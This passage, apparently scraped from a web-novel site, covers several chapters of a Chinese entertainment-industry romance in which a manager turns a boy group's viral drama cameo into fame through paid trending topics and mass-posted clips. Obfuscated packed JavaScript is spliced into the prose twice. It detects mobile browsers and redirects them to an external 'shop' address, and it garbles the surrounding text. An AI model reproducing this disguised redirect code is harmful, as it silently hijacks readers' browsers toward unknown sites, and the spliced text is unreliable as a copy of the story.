l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126413|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下小火的男团,备受瞩目,宫欢的个人热度不知不觉随着粉丝们的关注升高,她有时候看着微博激增的评论数量,非常茫然。 小火的男团成员客串爆款IP影视剧,是个可以营销的娱乐点。 宫欢准备了四五套营销方案,就等播出后大干一番。 ...... 剧集播出那天,别墅门外来了十几个外卖员。 奶茶,炸鸡,汉堡,可乐,水果等等等等,奚亭云三人将外卖一一拎回大厅,茶几上堆放不下,连十人位的餐桌也只是堪堪放下。 宫欢不在家,高姐外出应酬,家里没个管事的,三人就像放飞了自我似的。别墅里有三位小助理在,本想义正言辞地教育他们,可被塞了一杯奶茶后默默闭嘴。 【风雨九州】与主流三大视频平台皆达成合作,在8.13日晚八点定档播出,三人得知播出时间后,都心不在焉起来,一整天在别墅里东晃西晃,坐立难安。拿着手机刷官方微博,看微博评论,或是看自己的个人微博下面有没有新增的评论内容。 连一向最沉稳的奚亭云都明显地表现出走神,恍惚。这一天的时间格外难熬,一小时好似膨胀成无数倍,怎么过都过不完。 奚亭云全靠着给宫欢发消息来确定时间的流速。 他隔一会发条“我想你了”,再隔一会发“我想你了”,再过一会发“很想你”。 她大概在忙,消息堆积很多层都没回复。 拇指压在屏幕上无意识地滑动,来让屏幕保持着亮屏,他垂着眼睫,眸光虚散着思索着事情,隔了会,他退出微信,转而登上微博小号。 找到置顶的消息框,点进去,开始肆无忌惮、无所顾忌地一条条发着消息。 【欢欢最近有什么活动吗,要不要我们应援/宫欢呆萌表情包.JPG】 【你的微博粉丝量增加了好多,有一些想进粉丝群,但是我审核卡得很严,没让几个人进来,我怕有的人是别有用心,想进群扰乱我们的节奏。】 【我非常严格的,必须确保进群的粉丝是真的喜欢你,欢欢放心。】 发完最近的事情后,他顿了顿,继续无意义地发着那些重复的话。 想你,想你...... 发到第三条时,他想起这样也许会和微信上的聊天记录重合,万一引起她的怀疑就不好了,于是只好选择撤回,将最近遇到的生活上的好玩趣事一字一字耐心地敲出来发给她。 临近傍晚,别墅里众人的晚饭全是外卖,园艺师,造型师,表演老师保洁阿姨们一群人坐在客厅热闹非常。 客厅中央落下液晶电视,在视频平台上的首页停着,首页的滚动图片里就有【风雨九州】的宣传视频。 奚亭云点进去,【风雨九州】播出到第8集,三人食不下咽,都非常紧张地,如同等待审判似的等着他们演出的那一集播出。 时间来到八点,更新剧集放出,奚亭云几乎是立刻就点开了这最新的一集影视剧。 大厅里其他人都在热络地享受着休闲时刻,唯有三人全神贯注地看着那块液晶屏幕。 这集便是女主坠崖后进入阎罗殿的内容,【风雨九州】的后期制作比较良心,不会随便将高潮剧情中途拦腰斩断,一集内容信息量密集,全程都让人舍不得移开眼。 剧集开头便是女主被黑白无常锁住手脚带往阎罗殿,一集内容有一小时长。液晶电视里金圆儿浑身狼狈,双眼茫然空洞地被带着往前走。 奚亭云动了动遥控器,屏幕边角的进度条出现,后面还有50多分钟,他下意识看看萧子重和安声,他们两人眼里期待的神色不言自明。 三人按捺着调整进度条的冲动,就像把最好吃最美味的食物放在后面,忍着前面的所有过渡铺垫,在女主爆出体内灵气后,特效加持,整个画面顿时升了一个档次,三人紧张到连眼睛都不眨一下,旁边围观看剧的其他人被剧情吸引,也都停下闲聊的架势,专注地看着剧。 屏幕里,女主追上阎王,正欲用神戟斩杀,血色凄厉的阵法里走出一个人,扇开扇合,面容阴鸷,客厅里顿时响起惊呼声:“哇啊啊,这出场方式太帅了吧。” “感觉很好看!女主要大杀特杀了!!!” “啊啊啊快要杀阎王了,怎么他们三个出来拦路了啊!” 萧子重不由得得意,却努力压制着笑,不让自己显得太浮躁:“还好还好,咳咳,也就那样吧。” “快看我快看我!我也好看!”安声指着继续出场的自己,他凑到液晶电视附近,对着自己出场的画面连拍一长段视频,准备发在音符软件上。 三人的出场方式节奏卡得很妙,镜头的角度与运镜精巧,特效制作精良,且没有乱七八糟的滤镜和调色,演员的皮肤质感真实到连细纹都看得清,这让一众演员的气质更写实立体,这些制作成果足够吊打市面上大部分的影视剧。 三人出场后与女主对打,可惜即使联手,还是被女主以极其霸气强悍的姿态斩杀,导演将死法设计的与原著不同。 “红衣探郎”是被神戟一箭穿心后,魂魄化为灰烬消散,死前导演还采用了一个延伸镜头。 从女主视角去延伸拍摄附带特效的神戟,镜头自然地转接到奚亭云饰演的“红衣探郎”的背部,被神戟破穿的魂魄从心脏开始扩散,红衣探郎不敢置信地转过头来,本就惊悚可怖的脸上血丝抽动着。 镜头切他半身镜,最后的消散魂魄时刻,他神情凄厉惨烈,狰狞着尖啸出声,鬼将比寻常厉鬼的怨气都要深,他惨叫出声,百鬼皆应,一时间阎罗地府皆是鬼哭狼嚎之声。 红衣探郎身形消散,由下至上的魂魄湮灭着,他十指化为利爪,趁着最后的上半身还在扑向女主,而女主岿然不动,她缓缓收回神戟,傲然而视。 随着灰烬飘散,红衣探郎的利爪在触碰到女主时,仿佛触碰到无形的结界,发出滋滋的声响,他错失良机,眨眼间便被灰烬撩起残魂,消失于世间。 剩下的两鬼将,血扇被撕裂魂体而亡,玉面鬼心被捏碎魂体而亡,女主以一敌三,这场斩杀三鬼将堪称影视剧上封神之战,哪怕是电影都无可比敌。 沙发上的围观群众硬是看得连交流剧情都忘记了,纷纷张着嘴震惊片刻,才回过神来赞叹。 “太牛了!!这是我见过最狠的女主角!杀人,啊不对,杀鬼比鬼还狠。” “而且还过瘾,我都没想到她眼皮都不眨一下!?” “这剧太好看了!!我要从头追起啊啊啊啊!!” 参与饰演被杀的三人也是持续震惊着,他们拍摄完后看过监视器里的内容,但那时候特效和连接镜头没做出来,所以并不知道成品的效果。 这一集他们是从头开始看起,情节连贯,铺垫与高潮相呼应,最后的“杀三鬼”也就将剧情渲染到最大,且他们与女主演的表演都非常投入,更是锦上添花。 结束之后,奚亭云静坐片刻,安声和萧子重都兴奋不已,在跟朋友聊自己上镜有多精彩。他将手机解锁,宫欢还没回消息。 123. 我们,火了? 宫欢在凌晨左右拿起手机看工作消息。 她补了两小时觉,准备陪熬夜甘惊鸿拍夜戏,一拿起手机就被99+的红点消息轰炸得头脑眩晕。 她晃了晃头,愕然地用拇指滑动屏幕,结果发现某人给她发的消息比水军群里的消息都要多。 很想跳过奚亭云的消息轰炸。可就在宫欢迟疑的时间里,他又发来两条。 「风雨九州今晚播出我们出演的那一集,效果还不错。」 消息框限制的缘故,宫欢只看到了‘风雨九州’四个字,她混沌的大脑当即清醒过来,火速点开消息框:「今天播!?」 她完全忘了这茬,紧急查看今日日程安排,在最角落发现了一行小字‘风雨九州播出,注意查看’。 她顿了片刻,手指继续往上滑,大致看过奚亭云发来的照片内容,欣赏一阵后挑了几条回复,便去微博看最新的剧集播出风向。 剧集在八点播出,现在接近凌晨两点,过去了六小时。 播出后的两小时内,网络平台的热议度攀升,实时弹幕量高达十几万,她暗暗惊呼,果断在各大社交平台都看一遍热度来综合对比,甚至还去随机刷了一些视频看看有没有推送。 先是微博,热搜词条上了‘斩杀三鬼将’,这估计是金圆儿那边买的热搜,靠下的位置有几条新的。 #三鬼将惨绝人寰 #帅的不是人是鬼 #影视剧春天终于来了 关于三鬼将的热搜词条有不少,宫欢点进热门搜索的那些词条,里面的网友竟然都在夸。 【我看到女主被压制的时候气得要死,还以为又要憋屈了,没想到全鲨了哈哈哈哈。】 【这才是女主真实实力啊,拜托,男主居然想利用上神给他开疆辟土,谁给他的脸啊。】 【三鬼将好帅啊啊啊啊,天啊我有几百年没见过这么型神魂兼备的演员了!!】 【妆造特效太牛了!!完全不违和!】 【施法动作也太好看了呜呜,要是厉鬼都长这样,那我愿意!】 评论区风向让宫欢怀疑她找的水军是不是到位了,但仔细看看,水军没这么多词汇量,他们只会说“好看,好看”、“支持,支持”。 比人机还人机。 在拍摄期间时,宫欢就看过监视器中的镜头画面,那时候她就有所预感,好制作加上好脸蛋,加上不差的演技,这次极有可能会打出王炸的牌。 因此看到热度攀升的网民热议,她并没太惊喜,反而有种意料之中的感觉。 这些好评还只是在播出后的两小时发出的,现在过去了六小时,短视频平台已经出了不少关于三人的剪辑二创视频。 有些是【风雨九州】三鬼将镜头,有些则是他们之前的初舞台场面。 可见粉丝量在逐渐增加,自发为男团宣传。 宫欢当即决定赶回A市。 她找到拍摄夜戏的甘惊鸿,说明情况,甘惊鸿也表示理解,于是宫欢拎着行李箱风风火火地乘坐航班赶回别墅。 - 接下来的七天是营销的黄金期。 各大娱乐媒体,营销号敏锐地发现最近的流量趋势,齐齐下场将热度追捧到最高,并且引导娱乐趋势。 【风雨九州】播出时热量便不低,只是争议极大,一方面都在说女主咖位配不上大制作,一众老牌配角捧她一个,一方面说服化道剧情都是上乘,主角演技无伤大雅。 这争议在“怒闯阎罗殿”、“斩杀三鬼将”的剧情出来后,被彻底划上句号。惊艳的剧情推进,层层叠进,女主演的爆发戏真实刻骨,看过的人都为之震撼,感染力爆棚。 其次便是惊艳配角,这部影视剧中的大腕配角多不胜数,甚至连客栈的老板娘都由曾经的情景剧演员来饰演。 可这次的剧集里,三鬼将实在太出彩,眼神动作神态,施法的细节,还有斗法的武打招式都堪称现今影视剧内超高水准。 足以给观众留下惊鸿一瞥的惊艳。 ...... 宫欢回别墅的第四天,她头发凌乱,两眼瞪得溜圆,穿着睡衣盘腿坐在地毯上,吨吨吨地往嘴里猛灌咖啡。 手指在电脑键盘上飞速敲击,她精神紧绷全神贯注,眼白里钻出些许血丝,却仍保持着那股拼搏的劲儿。 已是清晨四点,高姐拎了早餐来,一进门看见宫欢的模样便皱起眉头:“你几天没睡了,去眯一会吃点东西,各大平台我都在盯着,放心吧。” 宫欢眼皮打架,却强撑着掐了把脸颊上的肉,拍了两把保持清醒:“不行,这是关键时刻,我得保证各方正常运转,差一分钟都不行,关键时刻的分分秒秒都非常重要。” 高姐抽走她手中的咖啡,换成豆浆,也不好说什么,只在她旁边支了个电脑跟着一起忙。 两人时不时沟通进展,偶尔沉默一阵。 不多时,门口又走回来一个人,手里拎着各类早餐,大大小小有四五种,他刚进门看见沙发上的两人,还有桌上的早餐,停顿了片刻。 “早。”奚亭云面不改色地笑着向高姐打招呼,高姐只是抬了抬眼皮子瞥他一眼,不多搭理。 奚亭云也不在意,他走到盘腿坐在地上的宫欢旁边,将手里的早餐放在桌上,半蹲下身把她旁边的豆浆换成自己带回来的热牛奶,接着上手将早餐一一摆好在她随手可碰的位置,做完一切后,他拿起一颗水煮蛋在旁边敲碎慢慢剥起来。 他动作太过自然,自然到高姐都不由得扭过头看。 宫欢还浑然不觉,眼睛盯着电脑上的实时水军消息一下都移不开,奚亭云将剥好的水煮蛋递到她嘴边,“可以吃了。” 唇边有温热的温度和清香味,宫欢下意识张开嘴,耳边立刻传来一声重咳,她吓得身体猛地后仰,两手“恭恭敬敬”地接过那颗白嫩的水煮蛋,客气疏离:“谢谢谢谢,感谢,感恩,哈哈哈麻烦你了。” 奚亭云笑而不语,收回手时看了高姐一眼。 这女人的眼神凶得像是要吃人,但奚亭云视若无睹,继续端起热牛奶,毫无分寸地轻轻吹了吹,手指反复在玻璃杯上测试温度,他半蹲在宫欢旁边,蹲得久了不太舒服,便单膝跪着。 “慢点吃,喝点牛奶顺顺。”他准备继续将牛奶递到宫欢唇边,忽然又听见比刚才更重的一声咳嗽,带着刻意的强调。 宫欢两边的腮帮子鼓鼓的,来不及咽下鸡蛋就伸手接住牛奶杯,不让奚亭云再更靠近,她勉力咽下食物:“我,我自己来就行,你去忙吧,今天不是还有训练吗?” 鸡蛋干噎得能让宫欢脖颈抻出二里地,她刚咽下去就忍不住打嗝,将自己噎得不上不下,忙往口中灌牛奶。 奚亭云面容浮现担忧,他刚伸出手想帮她拍拍后背,就被宫欢拦下,她催促着:“快——嗝!去训练,别浪费时间,嗝!” 没办法,奚亭云只好默默向高姐投去一眼,压下不悦的情绪,起身走之前还关心着她:“小口喝水顺一顺,别急。” 宫欢边打嗝边挥手催他走。 等人一步三回头地走远了,宫欢扭过头带着怨言地怒瞪高姐:“我,嗝,我哪儿惹你了。” 高姐眼神犀利,抬手推了推鼻梁上的镜框,镜片后的两眼里透出些精光:“宫欢,别以为我是瞎的,老实交代,你们两个到哪一步了?” 宫欢眼皮疯狂眨动,她也不打嗝了,反而是结结巴巴地:“什么什么哪一步,我不知道你在说什么。” “他刚才就差亲手喂你了,你们之前也是这样?”高姐眯起眼,盯着宫欢,“他那熟稔的动作,看着就不爽,而且你居然一点距离感都没有,一点都不排斥他,你们是不是有猫腻!?” 宫欢连忙举起双手表示无辜:“姐你不能这么污蔑人啊。我这么漂亮优秀温柔大方,有人上赶着对我好那不是很正常的吗,他,他也是其中一个。” 高姐并不信,她扯了扯嘴角:“对你上赶着的人确实不少,但是,不都被你嫌弃骂走了吗。我没看到过哪一个人能——亲手!喂你!吃、早、餐!” 话到后面,高姐几乎是一个字一个字的强调。 宫欢感到压力一下大了,她绞尽脑汁,疯狂找借口,费尽心思终于想到一个:“他上赶着并不影响我啊,我的确对他没任何想法,这点不需要再强调了。” 宫欢一口气说完,扭过头专心致志地忙碌营销工作,再也不提这件事。 高姐知道现在是关键时刻,只好按捺下唠叨的心。 接下来的几天里,高姐非常谨慎地寸步不离宫欢,想借机观察奚亭云和宫欢之间到底发展到哪一步了。她本以为奚亭云会收敛点,但没想到,他无处不在。 营销黄金期七天时间,宫欢的作息紊乱,经常通宵忙十几个小时,补觉两小时,而奚亭云就常常在她周围晃来晃去,她忙的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126414|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,变着样的切果盘端来,让她空了吃一口;她睡的时候,奚亭云要来给她盖毯子,但很可惜被高姐夺走了这一权利。 宫欢熬多久,奚亭云就陪了多久,他几乎没有回过房间,经常在她们旁边的沙发上待着,被高姐驱赶的话就去餐厅,或是去健身房训练,去舞蹈室排练。 他在宫欢旁边陪伴时也没别的事,大多时候只是看她们忙着沟通,偶尔盯着宫欢看,或是拿着手机一看就是大半个小时,仿佛也在忙些什么。 其他人都是各忙各的,只有奚亭云像个赖皮狗一样死死黏着宫欢。 高姐抽不出时间警告他,也没办法教育宫欢,只能焦虑而谨慎地提防着两人的距离和接触。 好在宫欢是个事业脑,没有因为美人在侧就心不在焉,她专注地像头牛,这些天不论睡着还是清醒,脑子里只有一件事——营销,公关,资源接洽。 她没分给奚亭云多少眼神,这点让高姐勉强欣慰不少,孩子努力奋斗,不为红颜祸水所动,实在是上进。 【风雨九州】的热度飞快蔓延至全网,从漫改大IP,到影视剧的超高水准制作,再到最近的“三鬼将”,一度攀升至时下最热最火爆的讨论影视剧。 无论是对主角的挑剔,还是剧情剧本的细节打磨,网民们总有在讨论的地方,这就使得热度久居高位。 其实在黄金营销期的第四天时,宫欢就已经收到圈内导演、制片人的一些邀约,但那时只有两三个,和以往的差距不大。直到第六天第七天,一个黄金周过去,来找宫欢洽谈艺人合作商演的资源方越来越多,多到她五部手机轮番响,手都空不出来接电话。 也就是在第七天末尾,邀约资源积累到了一个可怖的程度,宫欢才终于叫来了男团三人。 这段时间他们也是被朋友们轮番轰炸,宫欢要求他们断网,不要上任何网络平台去看与【风雨九州】有关的消息。 三人答应是答应了,可耐不住朋友们的消息轰炸,一条条询问,一句句亲切的虚伪问候堆积成山,来借钱的,让带带自己的,问要不要创业的,要结婚随份子钱的“朋友”多不胜数,他们的朋友仿佛一夜之间遍布世界各地,之前那无人问津,被人遗忘在角落的情况全部被大换血。 他们成了所有人口中的“朋友”。 我有个朋友是明星。 我那个朋友演了个戏爆火,是大明星啊。 那个谁谁我认识,我同学,明星诶。 轰炸的消息刚开始他们还会回复,聊过两三轮后,对方便会开始旁敲侧击的打听私生活,探听收入,圈内规则等等。 好像他们是全新的人,不是以前的朋友,而是一个新的,被换了壳子的人。他们的一切都新奇得引起人的窥探欲,探听到一两点不为人知的事情,便让人兴奋得像赚了几百万一样。 三人到后面只能选择直接无视这些消息。 所以被宫欢叫来凑到一起时,三人神色略有些许萎靡不振。 宫欢熬了七天,精神亢奋到有些吓人的地步,她两眼瞪得大,看见他们垂头丧气的模样十分不爽:“给我打起精神来啊,我们终于迎来了一个超乎所有预料的结果,你们就给我这么迎接,快,把背挺直,昂首挺胸——”她说着,自己做出那下巴高高扬起的动作。 这么久的时间以来,宫欢终于有了一丝如释重负的感觉,她握着手机,眼里脸上全是势在必得的野心,接着念出手机文档上密密麻麻的内容。 代言,商演,综艺,影视邀约,足足念了三分钟都没结束,宫欢长呼一口气,激动不已地上前抓住奚亭云的肩膀,用力摇晃他,眼神将另外两人一一看过: “恭喜你们,你们火了!火得一塌糊涂!!” “我们,火了?”三人皆看见了彼此惊喜到不敢置信的眼神。 他们对出演【风雨九州】的热度有些感觉,亲戚朋友的消息足以说明一切,可也许那些只是朋友们看过剧之后的无聊的寒暄问候。三人只觉得过了这一阵热度大概就降下去了,对火的概念并不深刻。 直到此刻,宫欢念出那些品牌代言,商务邀约的内容,他们才恍惚的意识到,他们真的火了。 火到足以带来流量,火到能接上档次的商务代言,火到能赚钱,火到人尽皆知。 三人茫茫然地互相看了片刻,又纷纷看向宫欢。 她再次笃定地点头:“接下来,给我去赚钱吧!” 124. 黄金营销期 随着三人的爆火,宫欢也愈发忙碌起来。 黄金营销期她要推动流量导向,而火之后,她更是要全力承接这波趋势。有些艺人火得轻易,却没办法很好的接住火的流量,这也是非常致命的。 短视频平台分三人单向视频发布,再分三人合体发布。从影视剧片段剪辑,到他们之前在镜头上出现过的任何一个画面,除了水军剪辑二创外,现在有了更多的人参与进来。 ——粉丝。 三鬼将这出戏将他们的名气拉大到一个不可思议的地步,甚至可以说是与他们名气地位不匹配的程度。但也许就是时势造英雄,他们刚好在最好的影视剧里,有优秀的服化道,再加上合适的演技,出彩出圈便也水到渠成。 路人粉单纯垂涎三人的颜值,二创剪辑发布出来的内容只多不少,其次是因为这次的剧集播出吸引来的新粉,新粉往往非常有热情,并且【风雨九州】还在热播期,剧粉不遗余力地去宣传。 接着是先前的初舞台吸引的一些粉丝,这些粉丝已经成了老粉,在三人出演三鬼将爆火后,个个喜不自胜的四处留言评论,拉更多人来粉他们。 这几日,宫欢让助理建立粉丝后援会时,发现早已经建立好了,于是便让助理联系上了粉头,保持随时联系以方便后续的营销宣传。 接着她就去忙商务行程。近期发来的各类邀约不断,她比之前更谨慎地挑选合适的商务活动。 三人初次爆火,接的代言商演不能掉档次,不能是暴过雷的。她对这点很看重,但也不好直白的拒绝,于是她细细地一一交接,筛选,并排档期。 宫欢正在做着细致的档期行程规划,门外有急促的脚步声跑来,噔噔噔一路冲进了大厅。最近宫欢为了方便,固定在大厅的休息区办公。 助理气喘吁吁地冲来,将手机翻转过来给宫欢看,慌忙道:“欢姐,我们买的热搜被撤下了!” “怎么回事?” 手机页面停留在微博热搜界面,一连串的热搜词条里,宫欢花钱买的热搜位消失不见,排在前三位的热搜是: #金圆儿不用替身 #压力是我更大的动力 #所有人都不看好我,但我就是可以 将所有热搜看过一遍,宫欢瞬间明了。热搜词条被金圆儿撤下换成了她的专场。 宫欢的面色沉下去,略作凝神地看着那些词条。 这些天三人的势头猛烈,铺天盖地全是关于“三鬼将”的话题,一度将主演的风头都盖过,【风雨九州】的相关搜索内容里,带的词条全是三鬼将,抢人风头了也难怪热搜被撤。 再者,宫欢的资源还是从金圆儿的背后人金姐那拿到的,按理说,她选择退让一步是理所当然的事情,一般人都会在这时候主动退让,但很可惜,宫欢不一般。 的确,她的资源是卑躬屈膝从金姐那求来的,但那不代表她就要因为这个缘故退让到连火的机会都拱手让人。一码归一码。 况且因为【风雨九州】金圆儿名声大噪,从三四线艺人一跃而上成为新晋小花,都有这名气了,同剧演员的爆火也是变相的给她拉流量啊,怎么还竞争起来了。 大家都不是一个咖位的。 宫欢略作思索,索性来一招将计就计。 她将手机还给助理,轻咳两声清嗓,随即开始详述她的大计。 既然对方有钱砸资源,她当然不能明面上对着干,那就背地里偷偷干。她在客厅来回踱步,背过手一一分析现在的流量局面,小助理则拿着笔记本面容严肃,紧急待命,准备随时记下宫欢的战略内容。 “先去买之前跟金圆儿竞争【风雨九州】女一的那个xxx的热搜,就买个xxx醉酒大骂金圆儿,”宫欢脑中飞速分析着,“找点水军营销号炒起来,搅乱局面,接着买【风雨九州】拍摄内幕的热搜,让水军去各大平台评论些‘小故事’,最好是那种有鼻子有眼的。” 小助理嗯嗯的应着,手上狂写一通:“好的!还有其他的吗!?” “其他的嘛,”宫欢拖长语调,背着手来回转,最后抬起头,非常自信笃定地说,“去和剪辑外包公司合作,剪出五千条奚亭云他们的二创视频,再找人一个一个发出去,给我铺天盖地的去宣传!” 小助理被这一操作震惊得差点呼吸不上来气:“欢,欢姐,这样会不会惹路人粉反感啊,到时候要是适得其反就不好了。” 只见宫欢坐上沙发翘起腿,十足的大佬坐姿,她抬手往下摆了摆:“不炒作怎么红,路人的基数有多大?比得过粉丝量吗,年轻人,学着点,流量就得这么把握。” 如果说娱乐圈内有谁能最先追上流量的脚步,那宫欢当仁不让。 她黑红出身,一举一动都吸引了铺天盖地的黑粉,甚至是去哪儿都有人黑,这种体质本身也是一种流量密码。 最初,宫欢并不清楚这股黑劲儿的来源,随着她慢慢钻研其中门道,也能把控住大部分的流量导向了,才明白,她不是唯一一个,只恰好是那个最风口浪尖的,毫不收敛锋芒的。 助理们按照宫欢的说法去安排营销方案,从第一步开始就让人出乎意料。 第一步,买竞争女一的演员醉酒大骂热搜。 热搜荣登榜一,网民们去该演员微博下询问,也许同样抱着黑红的想法,这位演员并不澄清,反而用一种含糊其辞的态度来说明情况,这更让这条热搜的真假性趋近于真实。 第二步,爆料【风雨九州】内幕。 当红热播剧的花絮被观众反复观看到上亿播放量,以及有代拍,各方演员的偶尔晒照,但这些不多,且不刺激八卦,无法满足观众们八卦的心。 而爆料的内容里或真或假的掺水爆出,什么主演里面背后有投资方坐镇,某经纪人天天在导演帐篷里不出来等等。 钓足了观众路人的胃口。 等到这些都慢慢进展着,宫欢开始了第三步计划,她管这叫——无差别怼脸宣传。 从八月下旬至九月上旬,临近秋季,互联网上掀起一阵鬼哭狼嚎的风。 因为三鬼将的爆火,网上有人出模仿视频,从影视剧的镜头语言,到演员们面部表情的狰狞可怖,不知是哪位博主先起的头,网民们个个争相模仿,千奇百怪的搞笑视频里有大半都是【风雨九州】,因为网民模仿过多,一些台词梗渐渐流传开来。 台词的传播度广泛说明大众对影视剧片段的认可,对演员的认可,模仿表演更是说明对其的欣赏。 宫欢散发出去的五千个视频成功将这场网民狂欢推到极致,“怒闯阎罗殿”,“斩杀三鬼将”,“三鬼将魂飞魄散”这三个部分成为网络上流传最广,话题度最大的桥段,甚至连一些官方媒体都下场参与玩梗,几乎达到了全民“风雨九州”。 这对于剧方而言百利无一害,演员们之间的小小竞争在巨大的流量财富前也都消了火,毕竟谁也不想因为争咖位,抢流量而翻车,先前的撤热搜事件没再发生过。 奚亭云三人的社交媒体账号在短短几天内暴增几十万,粉丝量增加到几人不敢相信的一个数字。 这多亏了宫欢的五千个视频,那些视频里从初舞台到音乐节,再到影视剧全方位剪了个遍,剪到外包公司直言:再也不想和宫欢合作了,看到男团们的脸夜夜不得好梦的程度。 这期间,三人对火的概念或许还不够清晰,在宫欢忙碌顾不上他们时,竟然敢——单独出门! 并且,不戴任何伪装饰品! 也许这听起来有些夸张,但在安声出门十分钟后,回来时神情恍惚,踉踉跄跄地抱着自己缩在角落牙齿打颤的害怕模样......可以想见,热情的粉丝们有多热情。 宫欢再三叮嘱他们,出门一定要戴墨镜,口罩,把自己遮得严严实实,最好连根头发都不要露出来。 萧子重倒是纳闷地看着宫欢:“怎么你没事儿啊,网上那么多骂你的,你出门也没多余的掩饰,怎么就没人打你——嗷!宫欢!!”他说到后面,被宫欢一巴掌拍在后脑勺上,疼得叫唤。 宫欢甩甩发麻的手心,感慨萧子重的脑壳是真硬,打起来震手。 “我光明磊落怕什么,那些人也就只敢网上动动嘴皮子,”她无所谓地耸耸肩,转而俯身一一扫过三人,圆亮亮的眼眸眯起,“你们可就 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奚亭云转过身对上躲在沙发后的她,他神情专注认真,甚至有点较真地解释道:“不是所有的粉丝都会这样,有那些只想看着你越来越好,在你得到想要的成就之后,自己也会像是得到了同等荣誉的粉丝。她们不会过分关心你的生活......就算,有一些关心,那也是想更多的看到你。” 宫欢歪头盯着他看,动作间娇憨得可爱,可眼神里直视的眸光,清晰地让人心颤。 奚亭云只像是被她摄住了视线,怔怔地移不开眼,只能被迫地接受她的凝视。 “你......”她慢慢地吐出字,尾音拖长,“好像很了解粉丝的想法啊。” 她这么说。 仿佛有团空气堵塞在喉头不上不下,奚亭云噎住了,可还强撑着张嘴妄图吐出些辩解,脑中一团乱麻嗡嗡作响,被她干净明亮的眼神注视,他一句谎话都说不出来,每一个字都像是在凌迟刮肉。 被识破身份的可能使他心脏狂跳,在胸腔里噗通噗通,沉重地撞击着,他感到手指那的血液都在往回涌,身体泛起一阵酸麻。 “我只是,看到网上是这么说的…”他艰涩地说,顶着宫欢明晃晃地审视,硬着头皮继续辩解,“大部分的粉丝都是盼着自己喜欢的人更好,只有少数人才会做出极端的行为。” 他边说边往下咽唾液,一句话咽两三回,宫欢视线渐渐下移,落在他上下滚动的喉结上,看着看着就走了神,眼神发直。 奚亭云刚来时体型丰润,肩宽腿长,炒饭毕竟是个体力活,消耗量大吃得自然也多,那会他面部皮肉丰盈流畅,皮相漂亮吸引人。 宫欢记不清他从什么时候开始慢慢消瘦,只是隔几天一看,瘦了一点,再隔几天看,又瘦了点。到现在,他面部皮肤薄薄一层贴着骨骼,那些丰盈的肉不见踪影,只余锋利的下颌线与面部线条连接一线,侧面看时有种冷昳秾丽的美貌冲击。 她看过很多次他的脸了。 似乎怎么都看不厌,总能在他身上发现新的关注点。 这次是喉结,原先偏圆钝的喉结在消瘦的体型下变得突出,似乎在他修长的脖颈上点缀出一个优雅的弧度,显眼却不突兀,是一种别致的美感。 “嗯......对,你说得对。”她胡乱应着,完全忘记了刚才的话题。 宫欢盯得过久,没注意到被她盯着的人耳尖渐渐染上点点红意,他紧绷着身体,放在腿上的手无意识揪紧了衣服布料。 想躲避,又不想。 旁边还有人在,她这样毫无遮掩地盯着他看,会被人发现的。 奚亭云张了张嘴,目光艰难地从她脸上移开,主动向另外两人挑起话题,只是怎么说,都带着点磕磕绊绊的意思。 之前他也没这毛病,反而大多时候在三人里起到引导和安抚的作用。 萧子重倍感怪异,视线往宫欢那边转过一圈再回来,默默大张着嘴无语地望着奚亭云。 言下之意是:【不是吧,你差不多行了。】 而仍在磕磕绊绊说着天气如何的奚亭云只是微微抿唇,笑而不语。 125. 再临机场 A市机场。 深夜23点,机场里聚集了不少人,人头攒动间拥挤得让人无法顺利穿过去进入到候机厅。 这些人手中拿着横幅、电子举牌;紧紧攥着调到相机页面的手机,预备随时能拍下最佳角度的照片。 她们言辞间透着兴奋与激动,明明是深夜,却毫无困倦疲惫,一张张脸频频望向机场外,目光里满是期待。在等待的时候来回踱步消磨时间。 终于,不知等到了几点,机场外有人低调地走来,三四个人前后围着一个人,在望见拥挤的人群后他们互相看了眼同行的女人。 “啧,这行踪都被泄露了,”宫欢无奈地叹气,只好扭头看向身侧全副武装的奚亭云,“没办法了,你躲我后面,我给你开路冲过去。” 奚亭云戴着口罩帽子,全身上下只有脖颈和手脚露了出来,他无措地看了眼远处的人群,恍惚间有种不真实感,迟疑地问:“她们,都是我们的粉丝吗?” “那还用说,你看看举起来的海报图,”宫欢往那边指着几个粉丝高举的海报,上面是三鬼将的定妆照,接着看到什么,立即瞪大眼睛,“哦哟,还有穿应援同款色系衣服的,这阵仗挺大诶。” 她一副轻松悠闲的语气,好似在看戏。 看过远处的情况,宫欢转头过来,琥珀色的眼眸清澈透亮,卧蚕似月牙。 她狡黠地朝他眨眨眼,转过身面对着他,往后倒退着走路,歪了歪头示意道:“跟紧我,等下被粉丝挤走了,我可就不管你了。” 她一身斜肩针织毛衣,红棕色长发精心打理过,弯弯卷卷地散落在腰后,下身是牛仔短裙,复古黄的帆布鞋。她跑起来身姿轻快灵巧,眨眼间冲进了粉丝群体里。 小助理们赶忙将奚亭云团团围住,像是得到了宫欢的命令,霎时间眼神犀利,面容冷酷,仿佛是贴身保镖般,死死护住奚亭云往前走。 奚亭云只得像被护送的某个王公大臣,迈着小步往前行进。 没入人群中的宫欢飞快穿梭在三三两两的粉丝里面,她身形高挑,跑动间,奚亭云能看见她偶尔跃出人群的发顶。 在距离逐渐拉进时,叽叽喳喳嗡嗡闹的人群里,忽而清脆地传出一声呼唤:“啊啊!是X男团!!X男团来了啊啊啊——哥哥我爱你!!” 恰巧这时有一航班落地,人们三三两两地走出通道,乍看起来真像是有谁要走出来了。 随即,粉丝群里安静了一瞬后,顿时如同沸腾炸锅般叫嚷个不停,人人都朝着发出声音那边拥挤过去,每个人的安全距离被打破,一个挤着一个地往接机通道那边凑。 “啊啊啊啊哥哥我爱你!” “三个都来了吗!??我真是太幸运了!居然要看到他们合体了!” 